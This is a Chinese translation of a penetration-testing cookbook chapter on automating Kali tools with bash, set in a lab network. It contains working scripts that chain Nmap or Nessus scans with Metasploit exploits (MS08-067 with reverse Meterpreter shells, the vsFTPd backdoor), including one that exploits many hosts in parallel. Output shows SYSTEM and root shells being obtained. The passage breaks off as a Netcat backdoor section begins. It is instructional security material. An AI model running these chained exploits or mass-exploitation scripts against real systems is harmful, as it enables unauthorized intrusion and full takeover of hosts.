Kali Linux 網(wǎng)絡(luò)掃描秘籍 第八章 自動(dòng)化 Kali 工具

第八章 自動(dòng)化 Kali 工具

作者:Justin Hutchens

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

Kali Linux 滲透測(cè)試平臺(tái)提供了大量高效的工具,來完成企業(yè)滲透測(cè)試中所需的大多數(shù)常見任務(wù)。 然而,有時(shí)單個(gè)工具不足以完成給定的任務(wù)。 與構(gòu)建完全新的腳本或程序來完成具有挑戰(zhàn)性的任務(wù)相比,編寫使用現(xiàn)有工具以及按需修改其行為的腳本通常更有效。 實(shí)用的本地腳本的常見類型包括用于分析或管理現(xiàn)有工具的輸出,將多個(gè)工具串聯(lián)到一起的腳本,或者必須順序執(zhí)行的多線程任務(wù)的腳本。

8.1 的 Nmap greppable 輸出分析

Nmap 被大多數(shù)安全專業(yè)人員認(rèn)為是 Kali Linux 平臺(tái)中最流暢和有效的工具之一。 但是由于這個(gè)工具的驚人和強(qiáng)大的功能,全面的端口掃描和服務(wù)識(shí)別可能非常耗時(shí)。 在整個(gè)滲透測(cè)試中,不針對(duì)不同的服務(wù)端口執(zhí)行目標(biāo)掃描,而是對(duì)所有可能的 TCP 和 UDP 服務(wù)執(zhí)行全面掃描,然后僅在整個(gè)評(píng)估過程中引用這些結(jié)果,是一個(gè)更好的方法。 Nmap 提供了 XML 和 greppable 輸出格式來輔助這個(gè)過程。

理想情況下,你應(yīng)該熟悉這些格式,你可以從輸出文件中按需提取所需的信息。 但是作為參考,此秘籍會(huì)提供示例腳本,可用于提取標(biāo)識(shí)為在指定端口上運(yùn)行服務(wù)的所有 IP 地址。

準(zhǔn)備

要使用本秘籍中演示的腳本,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描,這包括 Windows XP 和 Metasploitable2。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請(qǐng)參閱本書第一章中的“安裝 Metasploitable2”秘籍。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了使用 bash 腳本語言甚至是 bash 命令行界面(CLI),從 Nmap 輸出的 greppable 格式中提取信息,這十分簡單:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>"; 
exit; fi

port=$1 
file=$2

echo "Systems with port $port open:"

grep $port $file | grep open | cut -d " " -f 2 

為了確保你能理解腳本的功能,我們將按順序?qū)γ恳恍羞M(jìn)行講解。 腳本的第一行只指向 bash 解釋器,以便腳本可以獨(dú)立執(zhí)行。 腳本的第二行是一個(gè)if ... then條件語句,用于測(cè)試是否向腳本提供了任何參數(shù)。 這只是最小的輸入驗(yàn)證,以確保腳本用戶知道工具的使用。 如果工具在沒有提供任何參數(shù)的情況下執(zhí)行,腳本將echo其使用的描述,然后退出。 使用描述會(huì)請(qǐng)求兩個(gè)參數(shù),包括或端口號(hào)和文件名。

接下來的兩行將每個(gè)輸入值分配給更易于理解的變量。 第一個(gè)輸入值是端口號(hào),第二個(gè)輸入值是 Nmap 輸出文件。 然后,腳本將檢查 Nmap greppable 輸出文件,來判斷指定端口號(hào)的服務(wù)上運(yùn)行了什么系統(tǒng)(如果有的話)。

root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>

當(dāng)你在沒有任何參數(shù)的情況下執(zhí)行腳本時(shí),將輸出用法描述。 要使用腳本,我們需要輸入一個(gè)要檢查的端口號(hào)和 Nmap grepable 輸出文件的文件名。 提供的示例在/ 24網(wǎng)絡(luò)上執(zhí)行掃描,并使用文件名netscan.txt生成 greppable 輸出文件。 然后,該腳本用于分析此文件,并確定各個(gè)端口上的活動(dòng)服務(wù)中是否能發(fā)現(xiàn)任何主機(jī)。

root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt 
Systems with port 80 open: 
172.16.36.135 
172.16.36.225 
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt 
Systems with port 22 open: 
172.16.36.135 
172.16.36.225 172.16.36.239 
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt 
Systems with port 445 open: 
172.16.36.135 
172.16.36.225 

所展示的示例執(zhí)行腳本來判斷端口 80, 22 和 445 上所運(yùn)行的主機(jī)。腳本的輸出顯示正在評(píng)估的端口號(hào),然后列出輸出文件中任何系統(tǒng)的IP地址,這些系統(tǒng)在該端口上運(yùn)行活動(dòng)服務(wù)。

工作原理

grep是一個(gè)功能強(qiáng)大的命令行工具,可在 bash 中用于 從輸出或從給定文件中提取特定內(nèi)容。 在此秘籍提供的腳本中,grep用于從 Nmap grepable 輸出文件中提取給定端口號(hào)的任何實(shí)例。 因?yàn)?code>grep函數(shù)的輸出包括多條信息,所以輸出通過管道傳遞到cut函數(shù),來提取 IP 地址,然后將其輸出到終端。

8.2 使用指定 NSE 腳本的 Nmap 端口掃描

許多Nmap腳本引擎(NSE)的腳本僅適用于在指定端口上運(yùn)行的服務(wù)。 考慮smb-check-vulns.nse腳本的用法。 此腳本將評(píng)估在 TCP 445 端口上運(yùn)行的 SMB 服務(wù)的常見服務(wù)漏洞。 如果此腳本在整個(gè)網(wǎng)絡(luò)上執(zhí)行,則必須重新完成任務(wù)來確定端口 445 是否打開,以及每個(gè)目標(biāo)系統(tǒng)上是否可訪問 SMB 服務(wù)。 這是在評(píng)估的掃描階段期間可能已經(jīng)完成的任務(wù)。 Bash 腳本可以用于利用現(xiàn)有的 Nmap greppable 輸出文件來運(yùn)行服務(wù)特定的 NSE 腳本,它們只針對(duì)運(yùn)行這些服務(wù)的系統(tǒng)。 在本秘籍中,我們將演示如何使用腳本來確定在先前掃描結(jié)果中運(yùn)行 TCP 445 上的服務(wù)的主機(jī),然后僅針對(duì)這些系統(tǒng)運(yùn)行smb-check-vulns.nse腳本。

準(zhǔn)備

要使用本秘籍中演示的腳本,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描,這包括 Windows XP 和 Metasploitable2。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請(qǐng)參閱本書第一章中的“安裝 Metasploitable2”秘籍。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本將多個(gè)任務(wù)串聯(lián)在一起。 這里,我們需要執(zhí)行 Nmap grepable 輸出文件的分析,然后由該任務(wù)標(biāo)識(shí)的信息用于針對(duì)不同的系統(tǒng)執(zhí)行 Nmap NSE 腳本。 具體來說,第一個(gè)任務(wù)將確定哪些系統(tǒng)在 TCP 445 上運(yùn)行服務(wù),然后針對(duì)每個(gè)系統(tǒng)執(zhí)行smb-check-vulns.nse腳本。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi

file=$1

for x in $(grep open $file | grep 445 | cut -d " " -f 2); 
    do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1; 
done 

為了確保你能理解腳本的功能,我們將按順序講解每一行。 前幾行與上一個(gè)秘籍中討論的腳本類似。 第一行指向 bash 解釋器,第二行檢查是否提供參數(shù),第三行將輸入值賦給易于理解的變量名。 腳本的正文有一定區(qū)分。 for循環(huán)用于遍歷通過grep函數(shù)獲取的 IP 地址列表。 從grep函數(shù)輸出的 IP 地址列表對(duì)應(yīng)在 TCP 端口 445 上運(yùn)行服務(wù)的所有系統(tǒng)。然后對(duì)這些 IP 地址中的每一個(gè)執(zhí)行 Nmap NSE 腳本。 通過僅在先前已標(biāo)識(shí)為在 TCP 445 上運(yùn)行服務(wù)的系統(tǒng)上運(yùn)行此腳本,執(zhí)行 NSE 掃描所需的時(shí)間大大減少。

root@KaliLinux:~# ./smb_eval.sh 
Usage: #./script <file>

通過執(zhí)行不帶任何參數(shù)的腳本,腳本將輸出用法描述。 該描述表明,應(yīng)當(dāng)提供現(xiàn)有 Nmap grepable 輸出文件的文件名。 當(dāng)提供 Nmap 輸出文件時(shí),腳本快速分析文件來查找具有 TCP 445 服務(wù)的任何系統(tǒng),然后在每個(gè)系統(tǒng)上運(yùn)行 NSE 腳本,并將結(jié)果輸出到終端。

root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.135 
Host is up (0.00035s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:3D:84:32 (VMware)

Host script results: 
| smb-check-vulns: 
|   Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). 
|   
|  If you know the remote system is Windows, try rebooting it and scanning 
|   
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00041s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds 

在提供的示例中,腳本會(huì)傳遞到netscan.txt輸出文件。 對(duì)文件進(jìn)行快速分析后,腳本確定兩個(gè)系統(tǒng)正在端口445上運(yùn)行服務(wù)。然后使用smb-check-vulns.nse腳本掃描每個(gè)服務(wù),并在終端中生成輸出。

工作原理

通過提供grep序列作為for循環(huán)要使用的值,此秘籍中的 bash 腳本基本上只是循環(huán)遍歷該函數(shù)的輸出。 通過獨(dú)立運(yùn)行該函數(shù),可以看到它只提取對(duì)應(yīng)運(yùn)行 SMB 服務(wù)的主機(jī)的 IP 地址列表。 然后,for循環(huán)遍歷這些IP地址,并對(duì)每個(gè) IP 地址執(zhí)行 NSE 腳本。

8.3 使用 MSF 漏洞利用的 Nmap MSE 漏洞掃描

在某些情況下,開發(fā)一個(gè)將漏洞掃描與利用相結(jié)合的腳本可能會(huì)有所幫助。 漏洞掃描通常會(huì)導(dǎo)致誤報(bào),因此通過執(zhí)行漏洞掃描的后續(xù)利用,可以立即驗(yàn)證這些發(fā)現(xiàn)的正確性。 此秘籍使用 bash 腳本來執(zhí)行smb-check-vulns.nse腳本,來確定主機(jī)是否存在 MS08-067 NetAPI 漏洞,并且如果 NSE 腳本顯示如此,Metasploit 會(huì)用于 自動(dòng)嘗試?yán)盟鼇眚?yàn)證。

準(zhǔn)備

要使用本秘籍中演示的腳本,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描,這包括 Windows XP 和 Metasploitable2。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請(qǐng)參閱本書第一章中的“安裝 Metasploitable2”秘籍。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本將漏洞掃描和目標(biāo)利用的任務(wù)串聯(lián)到一起。 在這種情況下,smb-checkvulns.nse腳本用于確定系統(tǒng)是否容易受到 MS08-067 攻擊,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞,則對(duì)系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>"; 
exit; fi

rhost=$1 
lhost=$2 
lport=$3

nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt 
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E; 
fi 
rm tmp_output.txt  

為了確保你能理解腳本的功能,我們將按順序?qū)γ恳恍羞M(jìn)行講解。腳本中的前幾行與本章前面討論的腳本相同。第一行定義解釋器,第二行測(cè)試輸入,第三,第四和第五行都用于根據(jù)用戶輸入定義變量。在此腳本中,提供的用戶變量對(duì)應(yīng) Metasploit 中使用的變量。 RHOST變量應(yīng)該定義目標(biāo)的 IP 地址,LHOST變量應(yīng)該定義反向監(jiān)聽器的 IP 地址,LPORT變量應(yīng)該定義正在監(jiān)聽的本地端口。然后腳本在正文中執(zhí)行的第一個(gè)任務(wù)是,對(duì)目標(biāo)系統(tǒng)的 IP 地址執(zhí)行smb-check-vulns.nse腳本,它由RHOST輸入定義。然后,結(jié)果以正常格式輸出到臨時(shí)文本文件。然后,if ... then條件語句與grep函數(shù)結(jié)合使用,來測(cè)試輸出文件中是否有唯一的字符串,它表明系統(tǒng)存在漏洞。如果發(fā)現(xiàn)了唯一的字符串,則腳本會(huì)顯式系統(tǒng)看起來存在漏洞,然后使用 Metasploit 框架命令行界面(MSFCLI)使用 Meterpreter 載荷執(zhí)行 Metasploit 漏洞利用。最后,在加載漏洞利用后,使用rm函數(shù)從文件系統(tǒng)中刪除 Nmap 臨時(shí)輸出文件。test_n_xploit.sh bash命令執(zhí)行如下:

root@KaliLinux:~# ./test_n_xploit.sh 
Usage: #./script <RHOST> <LHOST> <LPORT>

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法。 此使用描述顯示,該腳本應(yīng)以參數(shù)RHOST,LHOSTLPORT執(zhí)行。 這些輸入值將用于 Nmap NSE 漏洞掃描和(如果有保證)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用。 在以下示例中,腳本用于確定 IP 地址為172.16.36.225的主機(jī)是否存在漏洞。 如果系統(tǒng)被確定為存在漏洞,則會(huì)執(zhí)行利用,并連接到反向 TCP Meterpreter 處理器,該處理其在 IP 地址172.16.36.239的 TCP 端口 4444 上監(jiān)聽系統(tǒng)。

root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00077s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit... 
[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||
                
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4444

[*] Started reverse handler on 172.16.36.239:4444 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability... 
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

上面的輸出顯示,在完成 Nmap NSE 腳本后,將立即執(zhí)行 Metasploit exploit 模塊并在目標(biāo)系統(tǒng)上返回一個(gè)交互式 Meterpreter shell。

工作原理

MSFCLI 是 MSF 控制臺(tái)的有效替代工具,可用于直接從終端執(zhí)行單行命令,而不是在交互式控制臺(tái)中工作。 這使得 MSFCLI 對(duì)于 bash shell 腳本中的使用是一個(gè)很好的功能。 因?yàn)榭梢詮?bash 終端執(zhí)行 NSE 腳本和 MSFCLI,所以可以輕松編寫 shell 腳本來將這兩個(gè)功能組合在一起。

8.4 使用 MSF 漏洞利用的 Nessuscmd 漏洞掃描

將 NSE 腳本和 Metasploit 利用結(jié)合到一起可以減輕工作量??捎?NSE 腳本測(cè)試的漏洞數(shù)量明顯小于可通過專用漏洞掃描程序(如 Nessus)評(píng)估的漏洞數(shù)量。 幸運(yùn)的是,Nessus 有一個(gè)名為 Nessuscmd 的命令行工具,也可以在 bash 中輕松訪問。 該秘籍演示了如何將 Nessus 定向漏洞掃描與 MSF 自動(dòng)利用相結(jié)合來驗(yàn)證發(fā)現(xiàn)。

準(zhǔn)備

為了使用此秘籍中演示的腳本,你需要訪問運(yùn)行漏洞服務(wù)的系統(tǒng),該服務(wù)可以使用 Nessus 進(jìn)行標(biāo)識(shí),并且可以使用 Metasploit 進(jìn)行利用。 提供的示例在 Metasploitable2 服務(wù)器上使用 vsFTPd 2.3.4 后門漏洞。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請(qǐng)參閱本書第一章中的“安裝 Metasploitable2”秘籍。

此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本,將漏洞掃描和目標(biāo)利用的任務(wù)結(jié)合到一起。 在這種情況下,Nessuscmd 用于運(yùn)行 Nessus 插件,測(cè)試 vsFTPd 2.3.4 后門,以確定系統(tǒng)是否存在漏洞,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞,則對(duì)系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi

rhost=$1

/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt 
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];    
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/ 
    interact RHOST=$rhost E; 
fi 
rm tmp_output.txt 

腳本的開頭非常類似于漏洞掃描和利用腳本,它將 NSE 掃描與前一個(gè)秘籍中的 MSF 利用組合在一起。但是,由于在此特定腳本中使用了不同的載荷,因此用戶必須提供的唯一參數(shù)是RHOST值,該值應(yīng)該是目標(biāo)系統(tǒng)的 IP 地址。腳本的正文以執(zhí)行 Nessuscmd 工具開始。 -p參數(shù)聲明正在評(píng)估的遠(yuǎn)程端口,-i參數(shù)聲明插件號(hào)。插件 55523 對(duì)應(yīng) VSFTPd 2.3.4 后門的 Nessus 審計(jì)。 然后,Nessuscmd 的輸出重定向到一個(gè)名為tmp_output.txt的臨時(shí)輸出文件。如果目標(biāo)系統(tǒng)上存在此漏洞,則此腳本的輸出將僅返回插件 ID。所以下一行使用if ... then條件語句結(jié)合grep序列,來確定返回的輸出中的插件 ID。如果輸出中返回了插件ID,表明系統(tǒng)應(yīng)該存在漏洞,那么將執(zhí)行相應(yīng)的 Metasploit 利用模塊。

root@KaliLinux:~# ./nessuscmd_xploit.sh 
Usage: #./script <RHOST>

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法。 此使用描述表示,應(yīng)使用RHOST參數(shù)執(zhí)行腳本,它用于定義目標(biāo) IP 地址。 此輸入值將用于 Nessuscmd 漏洞掃描和(如果存在漏洞)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用。 在以下示例中,腳本用于確定 IP 地址為172.16.36.135的主機(jī)是否存在漏洞。 如果系統(tǒng)被確定為存在漏洞,則將執(zhí)行該利用,并自動(dòng)建立與后門的連接。

root@KaliLinux:~# ./nessuscmd_xploit.sh 172.16.36.135 
172.16.36.135 appears to be vulnerable, exploiting with Metasploit... 
[*] Initializing modules... 
PAYLOAD => cmd/unix/interact 
RHOST => 172.16.36.135 
[*] Banner: 220 (vsFTPd 2.3.4) 
[*] USER: 331 Please specify the password. 
[+] Backdoor service has been spawned, handling... 
[+] UID: uid=0(root) gid=0(root) 
[*] Found shell. 
[*] Command shell session 1 opened (172.16.36.232:48126 -> 172.16.36.135:6200) at 2014-04-28 00:29:21 -0400

whoami 
root 
cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
                            **{TRUNCATED}** 

因?yàn)?Nessuscmd 的輸出被重定向到臨時(shí)文件,而不是使用集成的輸出函數(shù),所以沒有腳本返回的輸出來表明掃描成功,除了一個(gè)字符串用于指示系統(tǒng)看起來存在 Metasploit 試圖利用的漏洞。 一旦腳本執(zhí)行完畢,將在目標(biāo)系統(tǒng)上返回具有root權(quán)限的交互式 shell。 為了演示這一點(diǎn),我們使用了whoamicat命令。

工作原理

Nessuscmd 是 Nessus 漏洞掃描器中包含的命令行工具。 此工具可用于通過直接從終端執(zhí)行目標(biāo)掃描,來掃描和評(píng)估不同插件的結(jié)果。 因?yàn)樵摴ぞ撸ㄈ?MSFCLI)可以輕易從 bash 終端調(diào)用,所以我們很容易構(gòu)建一個(gè)腳本,將兩個(gè)任務(wù)串聯(lián)到一起,將漏洞掃描與利用相結(jié)合。

8.5 使用反向 Shell 載荷的多線程 MSF 漏洞利用

使用 Metasploit 框架執(zhí)行大型滲透測(cè)試的一個(gè)困難,是每個(gè)利用必須按順序單獨(dú)執(zhí)行。 如果你想確認(rèn)大量系統(tǒng)中單個(gè)漏洞的可利用性,單獨(dú)利用每個(gè)漏洞的任務(wù)可能變得乏味。 幸運(yùn)的是,通過結(jié)合 MSFCLI 和 bash 腳本的功能,可以通過執(zhí)行單個(gè)腳本,輕易在多個(gè)系統(tǒng)上同時(shí)執(zhí)行攻擊。 該秘籍演示了如何使用 bash 在多個(gè)系統(tǒng)中利用單個(gè)漏洞,并為每個(gè)系統(tǒng)打開一個(gè) Meterpreter shell。

準(zhǔn)備

要使用此秘籍中演示的腳本,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; 
exit; fi

iplist=$1 
lhost=$2

i=4444 
for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi 
    PAYLOAD=windows/meterpreter/reverse_tcp 
    RHOST=$ip LHOST=$lhost LPORT=$i E   
    echo "Exploiting $ip and establishing reverse connection on local port $i" 
i=$(($i+1)) 
done 

腳本使用for循環(huán),對(duì)輸入文本文件中列出的每個(gè) IP 地址執(zhí)行特定任務(wù)。 該特定任務(wù)包括啟動(dòng)一個(gè)新的 GNOME 終端,該終端又執(zhí)行必要的msfcli命令來利用該特定系統(tǒng),然后啟動(dòng)反向 TCP meterpreter shell。 因?yàn)?code>for循環(huán)為每個(gè) MSFCLI 漏洞啟動(dòng)一個(gè)新的 GNOME 終端,每個(gè)都作為一個(gè)獨(dú)立的進(jìn)程執(zhí)行。 以這種方式,多個(gè)進(jìn)程可以并行運(yùn)行,并且每個(gè)目標(biāo)將被同時(shí)利用。 本地端口值被初始化為 4444,并且對(duì)被利用的每個(gè)附加系統(tǒng)增加 1,使每個(gè) meterpreter shell 連接到不同的本地端口。 因?yàn)槊總€(gè)進(jìn)程在獨(dú)立的 shell 中執(zhí)行,所以這個(gè)腳本需要從圖形桌面界面執(zhí)行,而不是通過 SSH 連接執(zhí)行。 ./multipwn.sh bash shell可以執(zhí)行如下:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <LHOST> 
root@KaliLinux:~# ./multipwn.sh iplist.txt 172.16.36.239 
Exploiting 172.16.36.132 and establishing reverse connection on local port 4444 
Exploiting 172.16.36.158 and establishing reverse connection on local port 4445 
Exploiting 172.16.36.225 and establishing reverse connection on local port 4446

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法。 該使用描述將表明,該腳本以定義監(jiān)聽 IP 系統(tǒng)的LHOST變量,以及包含目標(biāo) IP 地址列表的文本文件的文件名來執(zhí)行。 一旦以這些參數(shù)執(zhí)行,會(huì)開始彈出一系列新的終端。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列。 原始的執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表。 所提供的示例利用了三個(gè)不同的系統(tǒng),并且為每個(gè)系統(tǒng)打開單獨(dú)的終端。其中一個(gè)終端的示例如下:

[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||
                
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4446 
[*] Started reverse handler on 172.16.36.239:4446 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4446 -> 172.16.36.225:1950) at 2014-04-10 07:12:44 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM 
meterpreter >

每個(gè)終端啟動(dòng)單獨(dú)的 MSFCLI 實(shí)例并執(zhí)行利用。 假設(shè)攻擊成功,會(huì)執(zhí)行載荷,并且交互式 Meterpreter shell 將在每個(gè)單獨(dú)的終端中可用。

工作原理

通過對(duì)每個(gè)進(jìn)程使用單獨(dú)的終端,可以使用單個(gè) bash 腳本執(zhí)行多個(gè)并行利用。 另外,通過使用為LPORT分配的遞增值,可以同時(shí)執(zhí)行多個(gè)反向 meterpreter shell。

8.6 使用可執(zhí)行后門的多線程 MSF 利用

該秘籍演示了如何使用 bash ,在多個(gè)系統(tǒng)上利用單個(gè)漏洞,并在每個(gè)系統(tǒng)上打開一個(gè)后門。 后門包括在目標(biāo)系統(tǒng)上暫存 Netcat 可執(zhí)行文件,并打開監(jiān)聽服務(wù),在收到連接后執(zhí)行cmd.exe

準(zhǔn)備

